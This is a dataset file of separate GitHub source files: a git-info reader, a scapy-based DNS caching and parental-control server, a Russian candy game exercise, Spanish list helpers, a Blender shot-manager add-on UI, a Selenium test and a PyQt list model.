{"seq_id":"4226108637","text":"from pathlib import Path\nfrom typing import Tuple\n\n# Get git root\ngit_root = Path(__file__).parent.parent\n\nno_git_str = '.git structure does not exist'\n\n\nclass GitInfo:\n    \"\"\"\n    Provides ``git`` repo information\n\n    :param input_path: Full path containing the ``.git`` contents\n\n    :ivar input_path: Full path containing the ``.git`` contents\n    :ivar head_path: Full path of the ``.git`` HEAD\n    :ivar branch: Active branch name\n    :ivar commit: Full hash\n    :ivar short_commit: short hash commit\n    \"\"\"\n    def __init__(self, input_path: str):\n        self.input_path: str = input_path\n        self.head_path: Path = Path(self.input_path) / \".git\" / \"HEAD\"\n        self.branch: str = self.get_active_branch_name()\n        commit_tuple: tuple = self.get_latest_commit()\n        self.commit: str = commit_tuple[0]\n        self.short_commit: str = commit_tuple[1]\n\n    def get_active_branch_name(self) -> str:\n        \"\"\"Retrieve active branch name\"\"\"\n        if self.head_path.exists():\n            with self.head_path.open(\"r\") as f:\n                content = f.read().splitlines()\n\n            for line in content:\n                if line[0:4] == \"ref:\":\n                    return line.partition(\"refs/heads/\")[2]\n                else:\n                    return f\"HEAD detached : {content[0]}\"\n        else:\n            return no_git_str\n\n    def get_latest_commit(self) -> Tuple[str, str]:\n        \"\"\"Retrieve latest commit hash\"\"\"\n        if self.head_path.exists():\n            with self.head_path.open(\"r\") as f:\n                content = f.read().splitlines()\n\n            for line in content:\n                if line[0:4] == \"ref:\":\n                    ref_path = Path(self.input_path) / \".git\" / f\"{line.partition(' ')[2]}\"\n                    with ref_path.open('r') as g:\n                        commit = g.read().splitlines()\n                else:\n                    commit = content\n\n            return commit[0], commit[0][:7]  # full and short hash\n        else:\n            return no_git_str, ''\n","repo_name":"UAL-RE/redata-commons","sub_path":"redata/commons/git_info.py","file_name":"git_info.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"36679508721","text":"import concurrent.futures\nfrom scapy.all import *\nfrom scapy.layers.dns import DNS, DNSQR, DNSRR\nfrom scapy.layers.inet import IP, UDP\nfrom sniffer import Sniffer\nfrom cache import Cache\nfrom datetime import datetime, timedelta\nfrom parentalcontrol import ParentalControl\nfrom protocol import Protocol\nfrom users import Users\nimport threading\nimport queue\nimport socket\nimport ssl\n\nLIBOT = 80\nDNS_IP = '172.16.255.254'\n# DNS_IP = '10.0.0.138'\nFORMAT = '%(asctime)s %(levelname)s %(threadName)s %(message)s'\nFILENAMELOG = 'dnslog.log'\ndate_format = '%Y-%m-%d %H:%M:%S.%f'\nPORT = 80\n# SERVER_IP = \"10.0.0.23\"\nSERVER_IP = '172.16.15.111'\n# SERVER_IP = \"172.16.15.49\"\nqueue_reqs = queue.Queue()\nCOMMAND_LIST = ['S', 'L', 'A', 'R', 'V', 'C']\nCRT_FILE = 'certificate.crt'\nPRIVATE_KEY_FILE = 'privateKey.key'\n\n\ndef remove_from_queue():\n    # if not queue_reqs.empty():\n    packet1 = queue_reqs.get()\n    logging.debug(str(packet1[DNSQR].qname) + ' - out of requests queue')\n    return packet1\n    # return None\n\n\ndef handle_request(current_packet):\n    # while True:\n    try:\n        if current_packet is not None:\n            ip_client = current_packet[IP].src\n            my_dns = IP(dst=DNS_IP) / UDP(dport=53, sport=current_packet[UDP].sport) / current_packet[DNS]\n            logging.debug(str(current_packet[DNSQR].qname) + ' - waiting for response of the answer')\n            response = sr1(my_dns, timeout=1)\n            if response:\n                logging.debug(str(current_packet[DNSQR].qname) + ' - received answer')\n                res_client = IP(dst=ip_client) / UDP(sport=53, dport=current_packet[UDP].sport) / response[DNS]\n                send(res_client)\n                logging.debug(str(current_packet[DNSQR].qname) + ' - the answer was sent to the client')\n                return response\n            else:\n                logging.debug(str(current_packet[DNSQR].qname) + ' - no response from the DNS server')\n    except Exception as e:\n        logging.debug(f'Error h occurred: {e}')\n    return None\n\n\ndef search_domain_in_cache(cache, current_packet):\n    # current_packet = remove_from_queue()\n    packet_type = current_packet[DNSQR].qtype\n    address = ''\n    cache_data = None\n    if packet_type == 1:\n        address = current_packet[DNSQR].qname.decode()\n        cache_data = cache.get_domain_info(address)  # if domain is not exist, get_domain_info returns None\n    if packet_type == 1:\n        address = current_packet[DNSQR].qname.decode()\n        cache_data = cache.get_ip_info(address)  # if ip is not exist, get_ip_info returns None\n    if cache_data:  # check for answer in the cache (so the request won't be sent out)\n        out_of_cache(current_packet, cache_data, address)\n    else:\n        logging.debug(address + ' handle: address is not in cache')\n        response = handle_request(current_packet)\n        if response is not None:\n            into_cache(response, cache, address)\n\n\ndef into_cache(current_packet, cache, address):\n    pac_type = current_packet[DNS].an.type\n    text_ips = \"\"\n    text_domains = \"\"\n    if pac_type == 1:\n        text_domains = address\n        text_ips = \"\"\n        for answer in current_packet[DNS].an:\n            ip_address = str(answer.rdata)\n            text_ips += ip_address + ','\n        text_ips = text_ips[:-1]\n    if pac_type == 12:\n        text_ips = address\n        text_domains = \"\"\n        for answer in current_packet[DNS].an:\n            domain_address = str(answer.rdata)\n            text_domains += domain_address + ','\n        text_domains = text_domains[:-1]\n    seconds_to_leave = current_packet[DNS].an.ttl\n    now = datetime.now()\n    delta = timedelta(seconds=seconds_to_leave)\n    ttl = now + delta\n    if text_ips != '' and text_domains != '':\n        cache.insert_row(text_ips, text_domains, ttl, pac_type)\n        logging.debug(address + ' into the cache')\n        cache.print_cache_table()\n\n\ndef out_of_cache(current_packet, cache_data, address):\n    packet_id = current_packet[DNS].id\n    logging.debug(cache_data)\n    if cache_data:\n        logging.debug(address + ' out of the cache')\n        domain_text = cache_data[2]\n        if \",\" in domain_text:\n            domain_addr_list = domain_text.split(',')\n            domains_count = len(domain_addr_list)\n        else:\n            domain_addr_list = domain_text\n            domains_count = 1\n        ip_text = cache_data[1]\n        if \",\" in ip_text:\n            ip_addr_list = ip_text.split(',')\n            ips_count = len(ip_addr_list)\n        else:\n            ip_addr_list = ip_text\n            ips_count = 1\n        pac_type = int(cache_data[4])\n        ttl = datetime.strptime(cache_data[3], date_format)\n        now = datetime.now()\n        seconds_to_leave = int((ttl - now).total_seconds())\n        if seconds_to_leave > 9467077826:  # if ttl is longer than 3 year\n            seconds_to_leave = 10\n        count = 0\n        pac_qname = []\n        pac_rrname = []\n        if pac_type == 1:\n            count = ips_count\n            pac_qname = domain_addr_list\n            pac_rrname = ip_addr_list\n        if pac_type == 12:\n            count = domains_count\n            pac_qname = ip_addr_list\n            pac_rrname = domain_addr_list\n        dns_packet = DNS(qr=1, opcode=\"QUERY\", aa=1, ra=1, ancount=count, id=packet_id,\n                         qd=DNSQR(qname=pac_qname, qtype=pac_type),\n                         an=DNSRR(rrname=pac_rrname, type=pac_type, rdata=ip_addr_list, ttl=seconds_to_leave))\n        ip_client = current_packet[IP].src\n        res_client = IP(dst=ip_client) / UDP(sport=53, dport=current_packet[UDP].sport) / dns_packet\n        # logging.debug(res_client.show())\n        send(res_client)\n\n\ndef create_cache():\n    cache = Cache()\n    cache.create_connection()\n    cache.create_tables()\n    cache.delete_expired_records()\n    cache.print_cache_table()\n    return cache\n\n\ndef create_users_table():\n    users_table = Users()\n    users_table.create_connection()\n    users_table.create_tables()\n    # users_table.delete_all_records()\n    users_table.print_users_table()\n    return users_table\n\n\ndef handle_client(client_socket, parental_control, users_table):\n    while True:\n        response_data = ''\n        flag = False\n        try:\n            message = client_socket.recv(5).decode()\n            if message.startswith('start'):\n                while not message.endswith('*'):\n                    message += client_socket.recv(1).decode()\n            data_len = message[5:-1]  # data len to receive\n            data_len = int(data_len)\n            if data_len > 0:\n                request = client_socket.recv(data_len).decode()\n                request_elements = request.split('*')\n                command = request_elements[0]\n                if command not in COMMAND_LIST:\n                    response_data = 'ERROR'\n                else:\n                    if command == 'S':\n                        response_data = sign_up_req(request_elements, users_table)\n                    elif command == 'L':\n                        response_data = log_in_req(request_elements, users_table)\n                    elif command == 'A':\n                        response_data = add_blocking_req(request_elements, parental_control)\n                    elif command == 'R':\n                        response_data = remove_blocking_req(request_elements, parental_control)\n                    elif command == 'V':\n                        response_data = view_blocking_list_req(parental_control)\n                    else:  # command = 'C'\n                        flag = True\n                        client_socket.close()\n                        return\n        except:\n            response_data = 'ERROR'\n        finally:\n            if not flag:\n                protocol = Protocol(response_data)\n                response = protocol.add_protocol()\n                client_socket.send(response.encode())\n\n\ndef sign_up_req(request_elements, users_table):\n    username = request_elements[1]\n    index = 0\n    password = ''\n    for element in request_elements:\n        if index >= 2:\n            password += element + '*'\n        index += 1\n    password = password[:-1]\n    username_exist = users_table.username_already_exist(username)\n    if not username_exist:\n        users_table.add_user(username, password)\n        response_data = 'DONE'\n    else:\n        response_data = 'username is already exist\\ntry to sign in with a different username'\n    return response_data\n\n\ndef log_in_req(request_elements, users_table):\n    username = request_elements[1]\n    index = 0\n    password = ''\n    for element in request_elements:\n        if index >= 2:\n            password += element + '*'\n        index += 1\n    password = password[:-1]\n    user_is_valid = users_table.user_is_valid(username, password)\n    if user_is_valid:\n        response_data = 'DONE'\n    else:\n        response_data = 'wrong username or password\\ntry again'\n    return response_data\n\n\ndef add_blocking_req(request_elements, parental_control):\n    domain = request_elements[1]\n    ip = request_elements[2]\n    if not domain.endswith('.'):\n        domain += '.'\n    # להוסיף בדיקה אם זה לא IP אלא כתובת דומיין, לעשות לה sr1\n\n    try:\n        parental_control.add_blocking(domain, ip)\n        response_data = 'DONE'\n    except Exception as err:\n        response_data = err\n    return response_data\n\n\ndef remove_blocking_req(request_elements, parental_control):\n    domain = request_elements[1]\n    if not domain.endswith('.'):\n        domain += '.'\n    response_data = ''\n    try:\n        response_data = parental_control.remove_blocking(domain)\n    except Exception as err:\n        response_data = err\n    finally:\n        return response_data\n\n\ndef view_blocking_list_req(parental_control):\n    response_data = ''\n    try:\n        blocked_list = parental_control.return_block_list()\n        for i in blocked_list:\n            response_data += i + '\\n'\n        if response_data != '':\n            response_data = response_data[:-1]\n    except Exception as err:\n        response_data = err\n    finally:\n        return response_data\n\n\ndef run_server(parental_control, users_table, ssock):\n    while True:\n        client_socket, client_addr = ssock.accept()\n        print(\"New connection\")\n        client_handler = threading.Thread(target=handle_client, args=(client_socket, parental_control, users_table))\n        client_handler.start()\n\n\ndef main():\n    cache = create_cache()\n    users_table = create_users_table()\n    parental_control = ParentalControl(cache)\n    sniffer = Sniffer(queue_reqs)\n    sniff_thread = threading.Thread(target=sniffer.sniffing)\n    sniff_thread.start()\n    print('sniffing')\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    context.load_cert_chain(CRT_FILE, PRIVATE_KEY_FILE)\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server_socket.bind((SERVER_IP, PORT))\n    server_socket.listen()\n    ssock = context.wrap_socket(server_socket, server_side=True)\n    print(\"Server is listening for connections...\")\n    server_thread = threading.Thread(target=run_server, args=(parental_control, users_table, ssock))\n    server_thread.start()\n    with concurrent.futures.ThreadPoolExecutor(max_workers=LIBOT) as executor:\n        while True:\n            try:\n                # if not queue_reqs.empty():\n                current_packet = remove_from_queue()\n                executor.submit(search_domain_in_cache, cache, current_packet)\n            except Exception as e:\n                logging.debug(f'Error m occurred: {e}')\n\n\nif __name__ == '__main__':\n    logging.basicConfig(filename=FILENAMELOG, level=logging.DEBUG, format=FORMAT)\n    main()\n","repo_name":"yuvalbahar99/dnsserver","sub_path":"dnsserver.py","file_name":"dnsserver.py","file_ext":"py","file_size_in_byte":11678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28214640928","text":"# Создайте программу для игры с конфетами человек против человека.\n# Реализовать игру игрока против игрока в терминале.\n# Игроки ходят друг за другом, вписывая желаемое количество конфет.\n# Первый ход определяется жеребьёвкой. В конце вывести игрока, который победил\n\n# Условие задачи: На столе лежит 221 конфета. Играют два игрока делая ход друг после друга.\n# Первый ход определяется жеребьёвкой. За один ход можно забрать не более чем 28 конфет.\n# Все конфеты оппонента достаются сделавшему последний ход.\nimport random\n\nplayer1 = input('Введите имя первого игрока: ')\nplayer2 = input('Введите имя второго игрока: ')\ncandy_total = int(input('Введите общее количество конфет: '))\nmax_candy = int(input('Введите максимальное количество конфет за 1 ход: '))\nfirst_turn = random.choice([player1, player2])\n\nflag = player1 if first_turn == player1 else player2\nwhile candy_total > 0:\n    print(f'Ход игрока {flag}')\n    turn = int(\n        input(f'Введите желаемое количество конфет от 1 до {max_candy}: '))\n    while not 0 < turn <= max_candy:\n        print('Вы указали недопустимое количество конфет')\n        turn = int(\n            input(f'Введите желаемое количество конфет от 1 до {max_candy}: '))\n    candy_total = candy_total-turn\n    if candy_total > 0:\n        print(f'Конфет осталось: {candy_total}')\n    else:\n        print('Конфеты закончились')\n    flag = player2 if flag == player1 else player1\nwinner = player2 if flag == player1 else player1\nprint(f'Победил игрок {winner}!')\n","repo_name":"Alichev/GBpython","sub_path":"Homeworks/Homework5/Task2-CandyGame.py","file_name":"Task2-CandyGame.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36572686131","text":"import random\nimport pide_num\n\ndef pintar_lista(lista):\n    for elementos in lista:\n        numero_posicion = lista.index(elementos)\n        print(f\"{numero_posicion} <😀> {elementos}\")\n\ndef elige_valor(lista):\n    pintar_lista(lista)\n    indice_usuario = -1\n    while indice_usuario not in range(len(lista)):\n        print(f\"introduce un número entre 0 y {len(lista)-1}\")\n        indice_usuario = pide_num.pideUnNum()\n    valor_lista = lista[indice_usuario]\n    \n    return valor_lista\n\ndef valor_aleatorio(lista):\n    posiciones = len(lista)\n    aleatorio =random.randrange(posiciones)\n    \n    return lista[aleatorio]\n\ndef indice_aleatorio(lista):\n    posiciones = len(lista)\n    aleatorio = random.randrange(posiciones)\n\n    return aleatorio","repo_name":"Manal127/herramientas","sub_path":"herramientas.py","file_name":"herramientas.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28187531279","text":"#Shot Manager Addon\r\n#Copyright (C) 2019 Pablo Tochez Anderson, Other Realms\r\n#contact@pablotochez.com\r\n#Licensed under GNU GPL-3.0-or-later\r\n\r\n# This program is free software; you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation; either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# This program is distributed in the hope that it will be useful, but\r\n# WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTIBILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\r\n# General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n\r\nimport bpy,os\r\nfrom bpy.types import Panel\r\n\r\nmarker_detect = [0,0]\r\nclass SM_PT_shot_manager(Panel):\r\n    \"\"\"Creates a Panel in the scene context of the properties editor\"\"\"\r\n    bl_label = \"Shot Manager\"\r\n    bl_idname = \"SCENE_PT_shotmanager\"\r\n    bl_space_type = 'PROPERTIES'\r\n    bl_region_type = 'WINDOW'\r\n    bl_context = \"output\"\r\n   \r\n    def draw_header(self, context):\r\n        self.layout.prop(context.scene, \"sm_use\",text=\"\")\r\n\r\n    def draw(self, context):\r\n\r\n        scene = context.scene\r\n        chapters = scene.timeline_markers.items()\r\n        layout = self.layout\r\n        layout.active = scene.sm_use\r\n        \r\n        row = layout.row(align=True)\r\n        row.operator('my_list.update', text='',icon = 'ADD').Add = True\r\n        row.label( text = 'Add New')\r\n        #row.prop(scene,'sm_enable_all')\r\n\r\n        row = layout.row()\r\n        row.template_list(\"SM_UL_List\", \"chapter_list\", scene,\"sm_prop_grp\",scene, \"sm_list_index\")\r\n\r\n        #Shot Details\r\n        col = layout.column(align=False)\r\n        row = layout.column(align=False)\r\n        split = layout.split(factor = 0.5)\r\n\r\n\r\n        if len(scene.sm_prop_grp) > 0:\r\n            index = scene.sm_list_index\r\n            shot = scene.sm_prop_grp[index]\r\n            link_text_start = shot.start_marker.name\r\n            link_text_end = shot.end_marker.name\r\n            #Start Frame\r\n\r\n            #col = split.column(align=False)\r\n            col = split.column(align=False)\r\n            if shot.start_marker.index == 9999:\r\n                col.operator('sm.link', text=link_text_start,icon = 'UNLINKED').StartEnd = 1\r\n                col.prop(shot, \"start_frameALT\",text= 'Start')\r\n            else:\r\n                try:\r\n                    sf = str(scene.timeline_markers[link_text_start].frame)  \r\n\r\n                    if marker_detect[0] != sf:\r\n                        marker_detect[0] = sf\r\n                        shot.start_marker.frame\r\n\r\n                except KeyError:\r\n                    sf = '0'\r\n                    \r\n                col.operator('sm.link', text= link_text_start,icon = 'LINK_BLEND').StartEnd = 3\r\n                col.label(text ='Start: '+ sf)\r\n\r\n            \r\n            #End Frame\r\n            col = split.column(align=False)\r\n            if shot.end_marker.index == 9999:\r\n                col.operator('sm.link', text=link_text_end,icon = 'UNLINKED').StartEnd = 2\r\n                col.prop(shot, \"end_frameALT\",text= 'End')\r\n            else:\r\n                try:\r\n                    ef = str(scene.timeline_markers[link_text_end].frame)\r\n\r\n                    if marker_detect[1] != ef:\r\n                        marker_detect[1] = ef\r\n                        shot.end_marker.frame\r\n\r\n                except KeyError:\r\n                    ef = '0'\r\n                    \r\n                col.operator('sm.link', text= link_text_end,icon = 'LINK_BLEND').StartEnd = 4\r\n                col.label(text ='End: '+ ef)\r\n           \r\n\r\n            row = layout.row()\r\n            duration = scene.frame_end - scene.frame_start\r\n            duration_formatted = 'Duration: ' +str(duration) +' frames,  '+ format(duration / scene.render.fps, '.2f')+' seconds'\r\n            row.label(text = duration_formatted,icon = 'MOD_TIME')\r\n\r\n            row = layout.row()\r\n            row.prop(shot, \"name\")\r\n            row = layout.row()\r\n            row.prop(shot, \"custom_camera\")\r\n            row = layout.row()\r\n            row.prop(shot, \"notes\")\r\n            row = layout.row()\r\n            row.label(text = 'Primary Layer:')\r\n            row.operator('sm.mainlayer',text = shot.main)\r\n            row = layout.row()\r\n            row.label(text = 'Transparent Background:')\r\n            row.prop(shot, \"alpha\",text='',)\r\n            row = layout.row()\r\n            row.label(text = 'View Layers:')\r\n            if shot.view_layers == '*True':\r\n                row.label(text = 'None saved')\r\n            else:\r\n                s = row.operator('sm.save_layers', text = 'Clear', icon = 'UGLYPACKAGE')\r\n                s.clear=True ; s.context_ = index\r\n            if scene.sm_warning =='Outdated-Update':\r\n                row.alert = True\r\n                s = row.operator('sm.save_layers', text = scene.sm_warning, icon = 'ERROR')\r\n                s.clear=False ; s.context_ = index\r\n                row.alert = False\r\n            else:\r\n                s = row.operator('sm.save_layers', text = 'Save', icon = 'PACKAGE')\r\n                s.clear=False ; s.context_ = index\r\n\r\n\r\n            \r\n\r\n            \r\nclass SM_PT_settings(Panel):\r\n    bl_label = \"Settings\"\r\n    bl_parent_id = \"SCENE_PT_shotmanager\"\r\n    bl_space_type = 'PROPERTIES'\r\n    bl_region_type = 'WINDOW'\r\n\r\n    bl_options = {'DEFAULT_CLOSED'}\r\n\r\n    def draw(self, context):\r\n        scene = context.scene\r\n        layout = self.layout\r\n        layout.use_property_split = True\r\n        layout.use_property_decorate = False \r\n        col = layout.column(align=True)\r\n        col.prop(scene,\"sm_mainLayer\", text = 'Switch to Primary')\r\n        col.prop(scene, \"sm_frame\")\r\n        col.prop(scene,'sm_view_layers_default')\r\n        col = layout.split(factor = 0.5)\r\n        col.separator(factor=1.0)\r\n        col.operator('my_list.delete', text='Delete all shots',icon = 'TRASH').delete_all=True\r\n        col = layout.split(factor = 0.5)\r\n        col.operator('sm.savejson', text= 'Export shots to .json')\r\n        col.operator('sm.openjson', text= 'Import shots from .json')\r\n\r\nclass SM_PT_Footer(Panel):\r\n    bl_label = \"Data\"\r\n    bl_parent_id = \"SCENE_PT_shotmanager\"\r\n    bl_space_type = 'PROPERTIES'\r\n    bl_region_type = 'WINDOW'\r\n\r\n    bl_options = {'DEFAULT_CLOSED'}\r\n\r\n    def draw(self, context):\r\n        layout= self.layout\r\n        col = layout.column()\r\n        \r\n        col = col.split()\r\n        col.label(text='Shots to Json')\r\n        col.operator('sm.savejson', text= 'Export')\r\n        col.operator('sm.openjson', text= 'Import')\r\n        col = layout.column()\r\n        col = layout.split(factor= 0.9)\r\n        #col.separator(factor=1.0)\r\n        col.label(text='Remove all shots')\r\n        col.operator('my_list.delete',text='',icon = 'TRASH').delete_all=True\r\n\r\nfile_count = ['0']\r\ndef count_files(self,context,shot):\r\n        scene = context.scene\r\n        count = 0\r\n        path = os.path.join(bpy.path.abspath(scene.sm_path),shot.name)\r\n        ext = scene.render.file_extension\r\n        \r\n        if os.path.isdir(path):\r\n            \r\n            \r\n            list_dir = []\r\n            list_dir = os.listdir(path)\r\n            for file in list_dir:\r\n                if file.endswith(ext):\r\n                    count += 1\r\n        else:\r\n            count = 0\r\n\r\n        file_count[0] = ext + \" Files: \" + str(count) \r\n        \r\n        \r\n        \r\nclass SM_PT_output(Panel):\r\n    bl_label = \"Output Summary\"\r\n    bl_parent_id = \"SCENE_PT_shotmanager\"\r\n    bl_space_type = 'PROPERTIES'\r\n    bl_region_type = 'WINDOW'\r\n    \r\n    #bl_options = {'HIDE_HEADER'}\r\n\r\n\r\n    def draw(self, context):\r\n\r\n        scene = context.scene\r\n        layout = self.layout\r\n        #layout.use_property_decorate = False  # No animation.\r\n        \r\n        \r\n        window = context.window\r\n        \r\n        layout.template_ID(window, \"scene\")\r\n\r\n        row = layout.row(align=False)\r\n        row.prop(scene, \"sm_path\")\r\n        row = layout.row()\r\n        row.label(text=\"RENDER PATH:  \" + scene.render.filepath)\r\n        row = layout.row()\r\n        row.label(text= file_count[0])\r\n\r\n        #View Layers\r\n        layout.label(text=\"View Layers:\")\r\n        \r\n        flow = layout.grid_flow(row_major=False, columns=0, even_columns=True, even_rows=False, align= True)\r\n        layers = bpy.context.scene.view_layers.items()\r\n\r\n\r\n        for a,b in layers:\r\n\r\n            using = b.use\r\n            row = flow.row(align=True)\r\n            \r\n            if using == True:\r\n                row.prop(b, \"use\", text=a,icon='RESTRICT_RENDER_OFF')\r\n            else:\r\n                row.prop(b, \"use\", text=a,icon='RESTRICT_RENDER_ON')\r\n\r\n\r\n            row.separator()\r\n        #Output\r\n        eevee = scene.eevee\r\n        cycles = scene.cycles\r\n\r\n        row = layout.grid_flow(row_major=True, columns=0, even_columns=True, even_rows=False, align= True)\r\n        row.scale_x=0.75\r\n        row.label(text='Transparency: '+ str(scene.render.film_transparent))\r\n        row.label(text='Render Engine: '+ scene.render.engine)\r\n        row.label(text='Cycles Device: '+ scene.cycles.device)\r\n        row.label(text='Format: '+ scene.render.file_extension)\r\n        row = layout.row(align=True)\r\n        row=row.split(factor=0.7)\r\n        row.label(text='Eevee Render Samples:')\r\n        row.prop(eevee, \"taa_render_samples\",text='')\r\n        row = layout.row(align=True)\r\n        row=row.split(factor=0.7)\r\n        row.label(text='Cycles Render Samples:')\r\n        row.prop(cycles, \"samples\",text='')\r\n        \r\n\r\n\r\n\r\nclass SM_PT_QuickPanel(Panel):\r\n    \"\"\"Creates a Panel in the Timeline\"\"\"\r\n    bl_label = \"Keep in range\"\r\n    bl_idname = \"SCENE_PT_SMQuickPanel\"\r\n    bl_space_type =  'DOPESHEET_EDITOR'\r\n    bl_region_type = 'UI'\r\n\r\n    \r\n    #bl_options = {'HIDE_HEADER'}\r\n    def draw_header(self,context):\r\n        scene = context.scene\r\n        layout = self.layout\r\n        layout.use_property_split = True\r\n        layout.use_property_decorate = False\r\n        layout.prop(scene, \"sm_frame\",text='')\r\n\r\n\r\n    def draw(self, context):\r\n\r\n        scene = context.scene\r\n        layout = self.layout\r\n        shots = scene.sm_prop_grp\r\n        \r\n        #layout.prop(scene, \"sm_frame\")\r\n        flow = layout.grid_flow(row_major=True, columns=0, even_columns=False, even_rows=False, align= True) \r\n        flow.scale_x = 0.6\r\n        for index, shot in enumerate(shots):\r\n            if index == scene.sm_list_index:\r\n                flow.operator('sm.quickpick', text= shot.name, depress=True).ind = index\r\n\r\n            else:\r\n\r\n                flow.operator('sm.quickpick', text= shot.name).ind = index\r\n\r\n\r\n#draw UI LIST\r\nclass SM_UL_List(bpy.types.UIList):\r\n    \r\n\r\n    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\r\n        scene = context.scene\r\n        fps = scene.render.fps\r\n        markers = scene.timeline_markers.items()\r\n        layout = layout.row(align = True)\r\n        #layout.use_property_split=True\r\n        #layout.use_property_decorate = False\r\n        layout.scale_x = 0.8\r\n        #layout.prop(item, 'enable',text= '', toggle = -1)\r\n\r\n        if index > 0:\r\n            i = layout.operator('my_list.update', text='',icon = \"TRIA_UP\")\r\n            i.index = index\r\n            i.Move = 'UP'\r\n        \r\n        if index < len(scene.sm_prop_grp)-1:\r\n            i = layout.operator('my_list.update', text='',icon = \"TRIA_DOWN\")\r\n            i.index = index\r\n            i.Move = 'DOWN'\r\n            \r\n        else:\r\n            layout.separator(factor=2)\r\n\r\n        if index == 0:\r\n            layout.separator(factor=2)\r\n\r\n        layout.scale_x = 1\r\n\r\n        layout.prop(item, 'name',text=\"\", emboss=False, icon_value=icon)\r\n        \r\n        \r\n        if item.custom_camera != None:\r\n            layout.label(text = item.custom_camera.name, icon =\"OUTLINER_OB_CAMERA\")\r\n        else:\r\n            layout.label(text = '', icon =\"OUTLINER_DATA_CAMERA\")\r\n\r\n        layout.operator('my_list.delete', text='',icon = 'REMOVE').index = index\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"OtherRealms/Shot-Manager-Lite","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":12204,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"673439256","text":"# coding:utf-8\nimport unittest\nfrom selenium import webdriver\nfrom AW.common.screenShot import *\nfrom AW.service.Wms import Wms\nfrom AW.service.BaseData import BaseData\n\nclass TestAddWarehouse_001(unittest.TestCase):\n    def setUp(self):\n        # 选择浏览器\n        self.driver = webdriver.Chrome()\n        # 要打开的链接地址\n        self.driver.get('http://172.31.75.173:8080/login.html')\n        # 放大窗口\n        self.driver.maximize_window()\n\n    def testAddWarehouse(self):\n        # 实例化对象\n        comWms = Wms(self.driver)\n        comBaseData = BaseData(self.driver)\n        time.sleep(2)\n        # 登陆WMS后选择基础资料\n        comWms.login_and_choose_business(\"zouyy\", \"123\", u\"基础资料\")\n        time.sleep(2)\n        # 进入商品资料-仓库管理-新增仓库\n        comBaseData.add_warehouse()\n        time.sleep(2)\n        # 校验进入新增仓库界面成功\n        ele = comWms.action_wms.findElementsByWay(\"layui-form-label\", \"class_name\")\n        self.assertEqual(len(ele), 11, u\"没有进入新增仓库界面\")\n\n    def tearDown(self):\n        self.driver.quit()\n","repo_name":"zouyya/zyy_project","sub_path":"TestCases/BaseData/BaseSetting/WarehouseManagement/AddWarehouse/TestAddWarehouse_001.py","file_name":"TestAddWarehouse_001.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33592739269","text":"'''\nCreated on Jul 8, 2011\n\n@author: christopherreilly\n'''\nfrom PyQt4 import QtGui, QtCore\n\nfrom component import updateModel\nfrom view import BaseListView\nfrom reorderlist import IReorderList\nfrom zope.interface import implements\n\nclass ComponentReorderList( QtCore.QAbstractListModel ):\n    \"\"\"\n    Takes in a python list and a Qt view.  View must implement currentIndex().\n    \n    Implementation of IReorderList for lists of lrexp components.\n    \"\"\"\n    implements( IReorderList )\n    def __init__( self, pyList ):\n        super( ComponentReorderList, self ).__init__()\n        self.pyList = pyList\n        self.view = self.widget = BaseListView()\n        self.view.setModel( self )\n    def rowCount( self, parent = QtCore.QModelIndex() ):\n        if not parent.isValid():\n            return len( self.pyList )\n        return 0\n    def data( self, index, role ):\n        if not index.isValid(): return QtCore.QVariant()\n        if role == QtCore.Qt.DisplayRole:\n            return repr( self.pyList[index.row()] )\n        return QtCore.QVariant()\n    def getRow( self ):\n        index = self.view.currentIndex()\n        if not index.isValid(): return None\n        return index.row()\n    @updateModel\n    def raiseItem( self ):\n        row = self.getRow()\n        if row is None or row is 0: return\n        self.pyList[row], self.pyList[row - 1] = self.pyList[row - 1], self.pyList[row]\n        self.dataChanged.emit( self.index( row - 1, 0 ), self.index( row, 0 ) )\n        self.view.setCurrentIndex( self.index( row - 1 ) )\n    @updateModel\n    def lowerItem( self ):\n        row = self.getRow()\n        if row is None or row + 1 >= len( self.pyList ): return\n        self.pyList[row], self.pyList[row + 1] = self.pyList[row + 1], self.pyList[row]\n        self.dataChanged.emit( self.index( row, 0 ), self.index( row + 1, 0 ) )\n        self.view.setCurrentIndex( self.index( row + 1 ) )\n    @updateModel\n    def removeItem( self ):\n        row = self.getRow()\n        if row is None: return\n        self.beginRemoveRows( QtCore.QModelIndex(), row, row )\n        self.pyList.pop( row )\n        self.endRemoveRows()\n    @updateModel\n    def addItem( self ):\n        pass\n\n    @updateModel\n    def removeAll( self ):\n        self.beginRemoveRows( QtCore.QModelIndex(), 0, len( self.pyList ) - 1 )\n        while self.pyList: self.pyList.pop()\n        self.endRemoveRows()\n\n    def appendObject( self, obj ):\n        l = len( self.pyList )\n        self.beginInsertRows( QtCore.QModelIndex(), l, l )\n        self.pyList.append( obj )\n        self.endInsertRows()\n","repo_name":"creilly/LabRAD-Experimenter","sub_path":"src/lrexp/experimenter/componentreorder.py","file_name":"componentreorder.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
